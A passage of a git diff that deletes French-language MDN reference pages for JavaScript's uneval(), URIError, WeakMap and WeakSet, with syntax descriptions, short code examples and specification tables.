La fonction uneval() renvoie une chaîne de caractères représentant le code source d'un objet.

- -

Syntaxe

- -
uneval(objet)
- -

Paramètres

- -
-
objet
-
Une instruction ou une expression JavaScript.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source de l'objet indiqué.

- -
Note : Le résultat obtenu ne sera pas une représentation JSON valide de l'objet.
- -

Description

- -

uneval() est une fonction disponible au plus haut niveau et n'est rattachée à aucun objet.

- -

Exemples

- -
var a = 1;
-uneval(a); // renvoie une chaîne qui contient 1
-
-var b = "1";
-uneval(b) // renvoie une chaîne qui contient "1"
-
-uneval(function toto(){}); // renvoie "(function toto(){})"
-
-
-var a = uneval(function toto(){return 'salut'});
-var toto = eval(a);
-toto(); // renvoie "salut"
-
- -

Spécifications

- -

Cette méthode ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.uneval")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • -
  • {{jsxref("JSON.stringify()")}}
    • -
  • {{jsxref("JSON.parse()")}}
    • -
  • {{jsxref("Object.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/urierror/index.html b/files/fr/web/javascript/reference/objets_globaux/urierror/index.html deleted file mode 100644 index 7142b5dbe4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/urierror/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: URIError -slug: Web/JavaScript/Reference/Objets_globaux/URIError -tags: - - Error - - JavaScript - - Object - - Reference - - URIError -translation_of: Web/JavaScript/Reference/Global_Objects/URIError ---- -
{{JSRef}}
- -

L'objet URIError représente une erreur renvoyée lorsqu'une fonction de manipulation d'URI a été utilisée de façon inappropriée.

- -

Syntaxe

- -
new URIError([message[, nomFichier[, numéroLigne]]])
- -

Paramètres

- -
-
message
-
Ce paramètre est optionnel. Il correspond à un chaîne de caractères décrivant l'erreur de façon compréhensible.
-
nomFichier {{non-standard_inline}}
-
Ce paramètre est optionnel. Il correspond au nom du fichier contenant le code à l'origine de l'exception.
-
numéroLigne {{non-standard_inline}}
-
Ce paramètre est optionnel. Il correspond au numéro de la ligne dans le fichier contenant le code qui a entraîné l'exception.
-
- -

Description

- -

Une exception URIError est lancée lorsque les fonctions de gestion d'URI reçoivent une URI mal formée.

- -

Propriétés

- -
-
{{jsxref("URIError.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à un objet URIError.
-
- -

Méthodes

- -

L'objet global URIError ne contient aucune méthode qui lui soit directement attachée. Cependant, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

- -

Instances d'URIError

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Propriétés')}}
- -

Méthodes

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Méthodes')}}
- -

Exemples

- -

Intercepter une exception URIError

- -
try {
-  decodeURIComponent('%');
-} catch (e) {
-  console.log(e instanceof URIError); // true
-  console.log(e.message);             // "malformed URI sequence"
-  console.log(e.name);                // "URIError"
-  console.log(e.fileName);            // "Scratchpad/1"
-  console.log(e.lineNumber);          // 2
-  console.log(e.columnNumber);        // 2
-  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
-}
-
- -

Créer une exception URIError

- -
try {
-  throw new URIError('Coucou', 'monFichier.js', 10);
-} catch (e) {
-  console.log(e instanceof URIError); // true
-  console.log(e.message);             // "Coucou"
-  console.log(e.name);                // "URIError"
-  console.log(e.fileName);            // "monFichier.js"
-  console.log(e.lineNumber);          // 10
-  console.log(e.columnNumber);        // 0
-  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.6.6', 'URIError')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.URIError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error")}}
    • -
  • {{jsxref("URIError.prototype")}}
    • -
  • {{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}
    • -
  • {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}
    • -
  • {{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}
    • -
  • {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html deleted file mode 100644 index 4c45a4af6b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: URIError.prototype -slug: Web/JavaScript/Reference/Objets_globaux/URIError/prototype -tags: - - Error - - JavaScript - - Propriété - - Prototype - - Reference - - URIError -translation_of: Web/JavaScript/Reference/Global_Objects/URIError -translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype ---- -
{{JSRef}}
- -

La propriété URIError.prototype représente le prototype du constructeur {{jsxref("URIError")}}.

- -

Description

- -

Toutes les instances de {{jsxref("URIError")}} héritent de URIError.prototype. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à l'ensemble des instances.

- -

Propriétés

- -
-
URIError.prototype.constructor
-
Cette propriété définit la fonction qui a créé le prototype de l'instance.
-
{{jsxref("Error.prototype.message", "URIError.prototype.message")}}
-
Un message décrivant l'erreur. Bien qu'ECMA-262 spécifie qu'{{jsxref("URIError")}} devrait avoir une propriété message en propre, SpiderMonkey lui fait hériter de {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "URIError.prototype.name")}}
-
Un nom d'erreur. Héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "URIError.prototype.fileName")}}
-
Le chemin vers le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "URIError.prototype.lineNumber")}}
-
Le numéro de la ligne dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "URIError.prototype.columnNumber")}}
-
Le numéro de colonne (la position dans la ligne) dans le fichier qui a causé l'erreur. Héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "URIError.prototype.stack")}}
-
La pile d'appels ayant mené à l'erreur (stack trace). Héritée de {{jsxref("Error")}}.
-
- -

Méthodes

- -

Bien que l'objet prototype pour {{jsxref("URIError")}} ne contienne pas de méthode qui lui soit directement rattachée, les instances d'{{jsxref("URIError")}} héritent de certaines méthodes grâce à la chaîne de prototypes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.URIError")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Error.prototype")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html deleted file mode 100644 index 408fd7a539..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/clear/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: WeakMap.prototype.clear() -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/clear -tags: - - JavaScript - - Méthode - - Obsolete - - Prototype - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/clear ---- -
{{JSRef}} {{obsolete_header}}
- -

La méthode clear() permettait de retirer tous les éléments d'un objet WeakMap mais celle-ci ne fait plus partie d'ECMAScript.

- -

Syntaxe

- -
wm.clear();
- -

Exemples

- -
var wm = new WeakMap();
-var obj = {};
-
-wm.set(obj, "toto");
-wm.set(window, "truc");
-
-wm.has(obj); // true
-wm.has(window); // true
-
-wm.clear();
-
-wm.has(obj);  // false
-wm.has(window);  // false
-
- -

Spécifications

- -

Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode a fait partie du brouillon ECMAScript 6 jusqu'à la révision 28 (version du 14 octobre 2014) mais a été retiré par la suite. Cette méthode ne fait pas partie du standard final.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.clear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakMap")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html deleted file mode 100644 index 56f16a93e9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/delete/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: WeakMap.prototype.delete() -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/delete -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete ---- -
{{JSRef}}
- -

La méthode delete() retire un élément donné de l'objet {{jsxref("WeakMap")}}.

- -
{{EmbedInteractiveExample("pages/js/weakmap-prototype-delete.html")}}
- - - -

Syntaxe

- -
wm.delete(clé);
- -

Paramètre

- -
-
clé
-
Il correspond à la clé de l'élément qu'on souhaite retirer de l'objet WeakMap.
-
- -

Valeur de retour

- -

true si un élément de l'objet WeakMap a bien été retiré, false si la clé n'a pas été trouvée ou si la clé n'est pas un objet.

- -

Exemples

- -
var wm = new WeakMap();
-wm.set(window, "toto");
-
-wm.delete(window); // Renvoie true. La suppression a bien eu lieu.
-
-wm.has(window);    // Renvoie false. L'objet window n'est plus dans la WeakMap.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-weakmap.prototype.delete', 'WeakMap.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.delete")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakMap")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html deleted file mode 100644 index 88e13f92f3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/get/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: WeakMap.prototype.get() -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/get -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/get ---- -
{{JSRef}}
- -

La méthode get() permet de renvoyer un élément donné d'un objet WeakMap.

- -
{{EmbedInteractiveExample("pages/js/weakmap-prototype-get.html")}}
- - - -

Syntaxe

- -
wm.get(clé);
- -

Paramètre

- -
-
clé
-
Ce paramètre est obligatoire. Il correspond à la clé de l'élément qu'on souhaite récupérer depuis l'objet WeakMap.
-
- -

Valeur de retour

- -

L'élément associé à la clé donnée ou undefined si la clé ne peut pas être trouvée dans l'objet WeakMap.

- -

Exemples

- -
var wm = new WeakMap();
-wm.set(window, "toto");
-
-wm.get(window); // Renvoie "toto"
-wm.get("machin");  // Renvoie undefined.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.get', 'WeakMap.prototype.get')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.get")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakMap")}}
    • -
  • {{jsxref("WeakMap.set()")}}
    • -
  • {{jsxref("WeakMap.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html deleted file mode 100644 index 6499d58bb7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/has/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: WeakMap.prototype.has() -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/has -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/has ---- -
{{JSRef}}
- -

La méthode has() renvoie un booléen qui indique s'il existe (ou non) un élément avec une clé donnée au sein de l'objet WeakMap.

- -
{{EmbedInteractiveExample("pages/js/weakmap-prototype-has.html")}}
- - - -

Syntaxe

- -
wm.has(clé);
- -

Paramètre

- -
-
clé
-
Ce paramètre est obligatoire. Il correspond à la clé de l'élément dont on souhaite savoir s'il est présent dans l'objet WeakMap.
-
- -

Valeur de retour

- -

La méthode renvoie true s'il existe un élément du WeakMap avec la clé donné, false sinon.

- -

Exemples

- -
var wm = new WeakMap();
-wm.set(window, "toto");
-
-wm.has(window); // renvoie true
-wm.has("machin");  // renvoie false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.has', 'WeakMap.prototype.has')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.has")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakMap")}}
    • -
  • {{jsxref("WeakMap.prototype.set()")}}
    • -
  • {{jsxref("WeakMap.prototype.get()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html deleted file mode 100644 index 27589afd41..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: WeakMap -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap ---- -
{{JSRef}}
- -

L'objet WeakMap représente une collection de paires clé-valeur dont les clés sont des objets et pour lesquelles les références sont « faibles » et les valeurs des valeurs quelconques.

- -
-

Note : vous pouvez en savoir plus sur les WeakMap en lisant l'article sur les collections à clé.

-
- -

Syntaxe

- -
new WeakMap([itérable])
-
- -

Paramètres

- -
-
itérable
-
Paramètre optionnel. Un tableau (objet Array) ou tout autre objet itérable dont les éléments sont des paires composées d'une clé et d'une valeur (des tableaux de 2 éléments). Chaque paire sera ajoutée à la carte (map en anglais). {{jsxref("null")}} sera traité comme {{jsxref("undefined")}}.
-
- -

Description

- -

Les clés des objets WeakMap sont nécessairement du type Object. {{Glossary("Primitive", "Des types de données primitifs")}} ne sont pas autorisés pour les clés (ex : un {{jsxref("Symbol")}} ne peut pas être une clé dans un WeakMap).

- -

Les clés d'une WeakMap sont référencées faiblement. Cela signifie que s'il n'existe aucune autre référence « forte » vers la clé, l'élément (la clé et la valeur) sera retiré de la WeakMap par le ramasse-miettes.

- -

Pourquoi WeakMap ?

- -

Avec un certain recul, on peut voir que cette API aurait pu être implémentée en JavaScript grâce à deux tableaux (un tableau pour stocker les clés, l'autre pour les valeurs) associées à 4 méthodes.

- -

Une telle implémentation présente deux inconvénients principaux. Le premier est que la recherche serait effectué en O(n) (avec n le nombre de clés). Le second inconvénient concerne les fuites mémoires. Si la carte (map) est construite manuellement, le tableau contenant les clés serait obligé de garder les références vers les objets que sont les clés, ce qui les empêcheraient d'être nettoyés par le ramasse-miette. Grâce aux objets natifs WeakMap, les références vers les clés sont faibles (weak) ce qui permet au ramasse miette de nettoyer l'objet au cas où il n'y aurait pas d'autres références vers cet objet.

- -

Étant donné que les références sont faibles, il est impossible d'énumérer les clés des objets WeakMap (c'est-à-dire qu'on ne dispose pas d'une méthode renvoyant la liste des clés). Si c'était le cas, la liste dépendrait d'un état lié au ramasse-miette et il n'y aurait pas de façon déterministe de connaître le résultat. Si vous souhaitez avoir une liste de clés, vous devriez plutôt utiliser un objet {{jsxref("Map")}}.

- -

Propriétés

- -
-
WeakMap.length
-
La valeur de la propriété length vaut 0.
-
{{jsxref("WeakMap.prototype")}}
-
Cette propriété représente le prototype du constructeur WeakMap. Il permet d'ajouter des propriétés pour toutes les instances de WeakMap.
-
- -

Instances de WeakMap

- -

Toutes les instances de WeakMap héritent de {{jsxref("WeakMap.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Properties')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Methods')}}

- -

Exemples

- -

Utiliser WeakMap

- -
var wm1 = new WeakMap(),
-    wm2 = new WeakMap(),
-    wm3 = new WeakMap();
-var o1 = {},
-    o2 = function(){},
-    o3 = window;
-
-wm1.set(o1, 37);
-wm1.set(o2, "azerty");
-wm2.set(o1, o2); // une valeur peut être n'importe quoi, y compris un objet ou une fonction
-wm2.set(o3, undefined);
-wm2.set(wm1, wm2); // Les clés et les valeurs peuvent n'importe quels objets, y compris des WeakMap
-
-wm1.get(o2); // "azerty"
-wm2.get(o2); // undefined car il n'y a pas de valeur pour o2 sur wm2
-wm2.get(o3); // undefined car c'est la valeur utilisée
-
-wm1.has(o2); // true
-wm2.has(o2); // false
-wm2.has(o3); // true (même si la valeur est 'undefined')
-
-wm3.set(o1, 37);
-wm3.get(o1); // 37
-
-wm1.has(o1);   // true
-wm1.delete(o1);
-wm1.has(o1);   // false
-
-
- -

Implémenter une classe semblable à WeakMap avec une méthode .clear()

- -
class ClearableWeakMap {
-    constructor(init) {
-        this._wm = new WeakMap(init)
-    }
-    clear() {
-        this._wm = new WeakMap()
-    }
-    delete(k) {
-        return this._wm.delete(k)
-    }
-    get(k) {
-        return this._wm.get(k)
-    }
-    has(k) {
-        return this._wm.has(k)
-    }
-    set(k, v) {
-        this._wm.set(k, v)
-        return this
-    }
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-weakmap-objects', 'WeakMap')}}{{Spec2('ES2015')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html deleted file mode 100644 index 7ca2bf02d1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/prototype/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: WeakMap.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap -translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype ---- -
{{JSRef}}
- -

La propriété WeakMap.prototype représente le prototype du constructeur {{jsxref("WeakMap")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("WeakMap")}} héritent de {{jsxref("WeakMap.prototype")}}. L'objet prototype du constructeur peut donc être utilisé pour ajouter des propriétés et/ou des méthodes pour toutes les instances de WeakMap.

- -

WeakMap.prototype est un objet ordinaire :

- -
Object.prototype.toString.call(WeakMap.prototype); // "[object Object]"
-
- -

Propriétés

- -
-
WeakMap.prototype.constructor
-
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera la fonction {{jsxref("WeakMap")}}.
-
- -

Méthodes

- -
-
{{jsxref("WeakMap.delete", "WeakMap.prototype.delete(clé)")}}
-
Retire la valeur associée à la clé clé. WeakMap.prototype.has(clé) renverra false une fois la valeur supprimée.
-
{{jsxref("WeakMap.get", "WeakMap.prototype.get(clé)")}}
-
Renvoie la valeur associée à la clé, ou undefined s'il n'y en a pas.
-
{{jsxref("WeakMap.has", "WeakMap.prototype.has(clé)")}}
-
Renvoie un booléen qui indique s'il existe ou non une valeur associée à une clé donnée pour l'objet WeakMap.
-
{{jsxref("WeakMap.set", "WeakMap.prototype.set(clé, valeur)")}}
-
Définit la valeur associée à la clé dans l'objet WeakMap. La méthode renvoie l'objet WeakMap.
-
{{jsxref("WeakMap.prototype.clear()")}} {{obsolete_inline}}
-
Retire toutes les paires de clés/valeurs contenues dans l'objet WeakMap. Il est possible de construire un objet semblable à WeakMap qui possède une méthode clear() en encapsulant (cf. l'exemple sur la page {{jsxref("WeakMap")}}).
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype', 'WeakMap.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html b/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html deleted file mode 100644 index 8754e8acc7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakmap/set/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: WeakMap.prototype.set() -slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/set -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakMap -translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/set ---- -
s{{JSRef}}
- -

La méthode set() permet d'ajouter un nouvel élément avec une clé et une valeur à un objet WeakMap.

- -
{{EmbedInteractiveExample("pages/js/weakmap-prototype-set.html")}}
- - - -

Syntaxe

- -
wm.set(clé, valeur);
- -

Paramètres

- -
-
clé
-
Ce paramètre est obligatoire et doit être un objet. Il correspond à la clé de l'élément qu'on souhaite ajouter à l'objet WeakMap.
-
valeur
-
Ce paramètre est obligatoire et peut avoir n'importe quel type. Il correspond à la valeur de l'élément qu'on souhaite ajouter à l'objet WeakMap.
-
- -

Valeur de retour

- -

Cette méthode renvoie l'objet WeakMap potentiellement mis à jour.

- -

Exemples

- -
var wm = new WeakMap();
-var obj = {};
-
-// Ajouter un nouvel élément à la WeakMap
-wm.set(obj, "toto").set(window, "truc"); // on peut chaîner les instructions
-
-// Mettre à jour un élément de la WeakMap
-wm.set(obj, "machin");
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakMap.set")}}

- -

Notes relatives à Firefox

- -
    -
  • Avant Firefox 33 {{geckoRelease("33")}}, WeakMap.prototype.set renvoyait undefined et ne pouvait donc pas être utilisé à la chaîne (voir l'exemple ci-avant). Ceci a été corrigé avec le {{bug(1031632)}}. Ce comportement a été le même pour Chrome/v8 et fut également corrigé (issue).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("WeakMap")}}
    • -
  • {{jsxref("WeakMap.prototype.get()")}}
    • -
  • {{jsxref("WeakMap.prototype.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html deleted file mode 100644 index d965e5b8ac..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/add/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: WeakSet.prototype.add() -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/add -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/add ---- -
{{JSRef}}
- -

La méthode add() permet d'ajouter un nouvel objet à un objet WeakSet.

- -
{{EmbedInteractiveExample("pages/js/weakset-prototype-add.html", "taller")}}
- - - -

Syntaxe

- -
ws.add(valeur);
- -

Paramètres

- -
-
valeur
-
Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite ajouter à l'ensemble WeakSet.
-
- -

Valeur de retour

- -

L'objet {{jsxref("WeakSet")}}.

- -

Exemples

- -
var ws = new WeakSet();
-
-ws.add(window); // on ajouter l'objet window à l'objet WeakSet
-
-ws.has(window); // tru
-
-// WeakSet ne peut contenir que des objets
-ws.add(1);
-// TypeError: Invalid value used in weak set -> Chrome
-// TypeError: 1 is not a non-null obect -> Firefox
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet.add")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakSet")}}
    • -
  • {{jsxref("WeakSet.prototype.delete()")}}
    • -
  • {{jsxref("WeakSet.prototype.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html deleted file mode 100644 index b1a480bef3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/clear/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: WeakSet.prototype.clear() -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/clear -tags: - - JavaScript - - Méthode - - Obsolete - - Prototype - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/clear ---- -
{{JSRef}}{{obsolete_header}}
- -

La méthode clear() permettait de retirer tous les éléments d'un objet WeakSet mais celle-ci ne fait plus partie d'ECMAScript.

- -

Syntaxe

- -
ws.clear();
- -

Exemples

- -
var ws = new WeakSet();
-
-ws.add(window);
-ws.has(window);  // true
-
-ws.clear();
-
-ws.has(window); // false
-
- -

Spécifications

- -

Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode faisait partie du brouillon pour ECMAScript 6 jusqu'à la révision 28 (version en date du 14 octobre 2014) mais a été retirée par la suite. Elle ne fera pas partie du standard final.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.WeakSet.clear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("WeakSet")}}
    • -
  • {{jsxref("WeakSet.prototype.delete()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html deleted file mode 100644 index e3cc7e72ba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/weakset/delete/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: WeakSet.prototype.delete() -slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/delete -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - WeakSet -translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/delete ---- -
{{JSRef}}
- -

La méthode delete() permet de retirer un élément donné d'un objet WeakSet.

- -
{{EmbedInteractiveExample("pages/js/weakset-prototype-delete.html")}}
- - - -

Syntaxe

- -
ws.delete(valeur);
- -

Paramètre

- -
-
valeur
-
Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite retirer de l'ensemble WeakSet.
-
- -

Valeur de retour

- -

true si un élément de l'objet WeakSet a bien été retiré, false sinon (dans le cas où la clé n'a pas été trouvée ou si la clé n'est pas un objet).

- -

Exemples

- -
var ws = new WeakSet();
-var obj = {};
-
-ws.add(window);
-
-ws.delete(obj);    // Renvoie false. Aucun objet obj n'a été trouvé ni retiré.
-ws.delete(window); // Renvoie true, l'objet window a pu être retiré.
-
-ws.has(window);    // Renvoie false, window n'appartient plus au WeakSet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
